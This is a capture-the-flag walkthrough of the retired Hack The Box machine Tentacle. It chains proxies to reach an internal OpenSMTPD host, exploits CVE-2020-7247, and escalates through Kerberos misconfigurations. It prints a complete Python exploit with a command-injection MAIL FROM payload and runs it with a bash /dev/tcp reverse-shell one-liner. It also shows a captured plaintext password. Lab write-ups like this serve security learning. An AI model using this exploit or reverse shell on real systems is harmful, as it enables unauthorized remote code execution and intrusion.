This post documents the complete walkthrough of Tentacle, a retired vulnerable VM created by polarbearer, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Tentacle is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.224 --rate=500
Starting masscan 1.3.1 (http://bit.ly/14GZzcT) at 2021-01-30 12:28:59 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 88/tcp on 10.10.10.224
Discovered open port 22/tcp on 10.10.10.224
Discovered open port 53/tcp on 10.10.10.224
Discovered open port 53/udp on 10.10.10.224
Discovered open port 3128/tcp on 10.10.10.224

Interesting group of open ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,53,88,3128 -A --reason 10.10.10.224 -oN nmap.txt
...
PORT     STATE SERVICE      REASON         VERSION
22/tcp   open  ssh          syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   256 f6:a9:2e:57:f8:18:b6:f4:ee:03:41:27:1e:1f:93:99 (ECDSA)
|_  256 04:74:dd:68:79:f4:22:78:d8:ce:dd:8b:3e:8c:76:3b (ED25519)
53/tcp   open  domain       syn-ack ttl 63 ISC BIND 9.11.20 (RedHat Enterprise Linux 8)
| dns-nsid:
|_  bind.version: 9.11.20-RedHat-9.11.20-5.el8
88/tcp   open  kerberos-sec syn-ack ttl 63 MIT Kerberos (server time: 2021-01-30 12:36:24Z)
3128/tcp open  http-proxy   syn-ack ttl 63 Squid http proxy 4.11
|_http-server-header: squid/4.11
|_http-title: ERROR: The requested URL could not be retrieved

Here’s what the proxy error page looks like.

We have a username (j.nakazawa), a domain (realcorp.htb) and a subdomain (srv01). I’d better map 10.10.10.224 to srv01.realcorp.htb in /etc/hosts.

DNS Enumeration

Since DNS is available, I wrote a simple script to enumerate possible subdomains.

enumerate.sh
#!/bin/bash

HOST=$1

function check() {
    HOST=$1
    DOMAIN=realcorp.htb
    SERVER=10.10.10.224
    if host ${HOST}.${DOMAIN} $SERVER &>/dev/null; then
        echo "${HOST}.${DOMAIN}"
    fi
}

export -f check

check $1

I know it ain’t much, but it’s honest work. From the subdomains, we get two suspicious-looking IP addresses: 10.197.243.31 and 10.197.243.77.

for sub in {ns,proxy,wpad}; do (host ${sub}.realcorp.htb 10.10.10.224 | sed '1,5d'); done
ns.realcorp.htb has address 10.197.243.77
proxy.realcorp.htb is an alias for ns.realcorp.htb.
ns.realcorp.htb has address 10.197.243.77
wpad.realcorp.htb has address 10.197.243.31

Proxychains

Looks like we have another proxy (proxy.realcorp.htb or 10.197.243.77) in a chain. :laughing: Let’s put the first proxy (10.10.10.224:3128) in the chain and see where that leads us with another round of nmap scanning the loopback interface.

Take note we have to disable host discovery with -Pn and use -sT or TCP connect scan in nmap. Other modes are finicky.

What do you know? Access control list exposed!

Hmm. If I had to guess, I would say that I need to include one more proxy (127.0.0.1:3128) in the chain like so.

attacker <-> 10.10.10.224:3128 <-> 127.0.0.1:3128 <-> 10.197.243.77:3128 <-> internal

Let’s see if I can scan wpad.realcorp.htb or 10.197.243.31 with nmap using this chain.

Interesting.

Web Proxy Auto-Discovery Protocol

We have http service on wpad.realcorp.htb or 10.197.243.31!

I’m guessing that wpad.realcorp.htb ultimately serves wpad.dat, a proxy auto-config (or PAC) file.

Bingo. And there’s a new network - 10.241.251.0/24! The PAC file is hinting me that I can use the same proxychains to scan 10.241.251.0/24. LET’S DO THAT!

proxychains nmap -Pn -sT -T5 --top-ports 10 --open 10.241.251.0/25
...
Nmap scan report for 10.241.251.113
Host is up (0.26s latency).
Not shown: 9 closed ports
PORT   STATE SERVICE
25/tcp open  smtp

Lucky lucky. We have one host (10.241.251.113) up with one open port (25/tcp). Let’s scan deeper.

proxychains nmap -Pn -sT -sC -p25 10.241.251.113
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-02 06:33 UTC
Nmap scan report for 10.241.251.113
Host is up (0.18s latency).

PORT   STATE SERVICE
25/tcp open  smtp
| smtp-commands: smtp.realcorp.htb Hello nmap.scanme.org [10.241.251.1], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP,
|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact [email protected] 2.0.0 with full details 2.0.0 End of HELP info

Nmap done: 1 IP address (1 host up) scanned in 8.36 seconds

So, 10.241.251.113 listening at 25/tcprunning OpenSMTPD as smtp.realcorp.htb.

LPE and RCE in OpenSMTPD (CVE-2020-7247)

Googling “OpenSMTPD 2.0.0 exploit” led me to this exploit, ready to use with slight modifications, i.e. code cleaning :wink:.

exploit.py
from pwn import *

# Usage
if len(sys.argv) != 4:
    print("Usage {} RHOST RPORT CMD".format(sys.argv[0]))
    sys.exit(1)

RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
CMD = sys.argv[3]

try:
    p = remote(RHOST, RPORT, timeout=4)
    res = p.recvline()
    # Checking OpenSMTPD
    if 'OpenSMTPD' not in str(res):
        p.error("[!] No OpenSMTPD detected")

    p.send("HELO xx\r\n")
    res = p.recvline()
    # Checking reply code
    if '250' not in str(res):
        p.error(res)

    # Sending exploit
    stat = log.progress("Sending exloit")
    stat.status('In progress')
    p.send("MAIL FROM:<;for i in d i p s h i t;do read r;done;sh;exit 0;>\r\n")
    res = p.recvline()
    # Checking reply code
    if '250' not in str(res):
        p.error(res)

    p.send("RCPT TO:<[email protected]>\r\n")
    res = p.recvline()
    # Checking reply code
    if '250' not in str(res):
        p.error(res)

    p.send("DATA\r\n")
    res = p.recvline()
    # Checking reply code
    if '354' not in str(res):
        p.error(res)
    stat.success("Done")

    # Sending payload
    stat = log.progress("Sending payload")
    stat.status('In progress')
    p.send("\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n#\r\n")
    p.send("{}\r\n.\r\n".format(CMD))
    res = p.recvline()
    # Checking reply code
    if '250' not in str(res):
        p.error(res)
    stat.success('Done')

except Exception as e:
    info("No luck!! Try again...")
finally:
    if 'p' in locals():
        p.send("QUIT\r\n")
        res = p.recvline()
    log.success("Enjoy your shell!")

Let’s give it a shot. From my attacking machine, I run the following exploit.

proxychains python3 exploit.py 10.241.251.113 25 "bash -c 'bash -i >& /dev/tcp/10.10.16.125/1234 0>&1'"

Meanwhile, in my netcat listener, a shell appears…

Is this the end? Sadly, things are not so easy.

Foothold

During enumeration, I notice the presence of j.nakazawa’s account in this shell.

And in the j.nakazawa’s home directory there’s a file .msmtprc that looked like this.

Is that j.nakazawa’s password (sJB}RM>6Z~64_)??!! Perhaps we can use the password to log in via SSH?

No love for password authentication! :angry: But, what is that gssapi thingy?

GSSAPIAuthentication

According to SSH.com,

GSSAPI (Generic Security Service Application Programming Interface) is a function interface that provides security services for applications in a mechanism-independent way. This allows different security mechanisms to be used via one standardized API. GSSAPI is often linked with Kerberos that is the most common mechanism of GSSAPI. For the Kerberos authentication to work through GSSAPI the client and server must already be configured to be able to use Kerberos (i.e. be able to gain tickets).

I suppose we can use j.nakazawa’s password to obtain and cache a Kerberos ticket-granting ticket with kinit. To get kinit and other associated Kerberos programs, we need to install the krb5-user package if you are using Debian-derived Linux/GNU distributions, e.g. Kali Linux.

Next, edit /etc/krb5.conf to the following.

/etc/krb5.conf
[libdefaults]
        default_realm = REALCORP.HTB
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true

[realms]
    REALCORP.HTB = {
        kdc = 10.10.10.224:88
    }

[domain_realm]
    .realcorp.htb = REALCORP.HTB

Here, I’m assuming 10.10.10.224 is the key distribution center (or kdc).

Ticket-granting Ticket

Let’s give it a shot.

Use klist to display the cached ticket and kdestroy to clear the cache.

And, we are in.

The file user.txt is at j.nakazawa’s home directory.

Privilege Escalation

During enumeration of j.nakazawa’s account, I notice the presence of another account: admin.

Check this out.

The script log_backup.sh looks like this.

Basically log_backup.sh copies everything from /var/log/squid to /home/admin every minute according to /etc/crontab.

There’s something special with /var/log/squid. Normally, we shouldn’t be able to write anything into the directory but we can because j.nakazawa is in the squid group.

Getting access to admin with .k5login

This should be easy. Write a .k5login file to /var/log/squid and then log_backup.sh will copy it to /home/admin. We can then use j.nakazawa’s ticket to log in to admin’s account.

echo [email protected] > /var/log/squid/.k5login

Pro tip: do it near the minute mark for log_backup.sh to run.

kadmin and the krb5.keytab file

It should be clear by now that admin functions as the Kerberos administrator.

According to the official MIT Kerberos documentation,

All Kerberos server machines need a keytab file, called /etc/krb5.keytab, to authenticate to the KDC. The keytab file is an encrypted, local, on-disk copy of the host’s key. The keytab file, like the stash file (Create the Database) is a potential point-of-entry for a break-in, and if compromised, would allow unrestricted access to its host. The keytab file should be readable only by root, and should exist only on the machine’s local disk. The file should not be part of any backup of the machine, unless access to the backup data is secured as tightly as access to the machine’s root password itself.

Looks like all we need to do is to add a user principal ([email protected] anyone??) to the Kerberbos database and we should be good to go.

Adding or Modifying Principals

The MIT Kerberos documentation is a pleasure to read.

We can add [email protected] as a user principal with kadmin like so.

With that, it’s only a matter of using ksu to log in as root with the password entered when you added [email protected].

Time to claim the prize.

:dancer: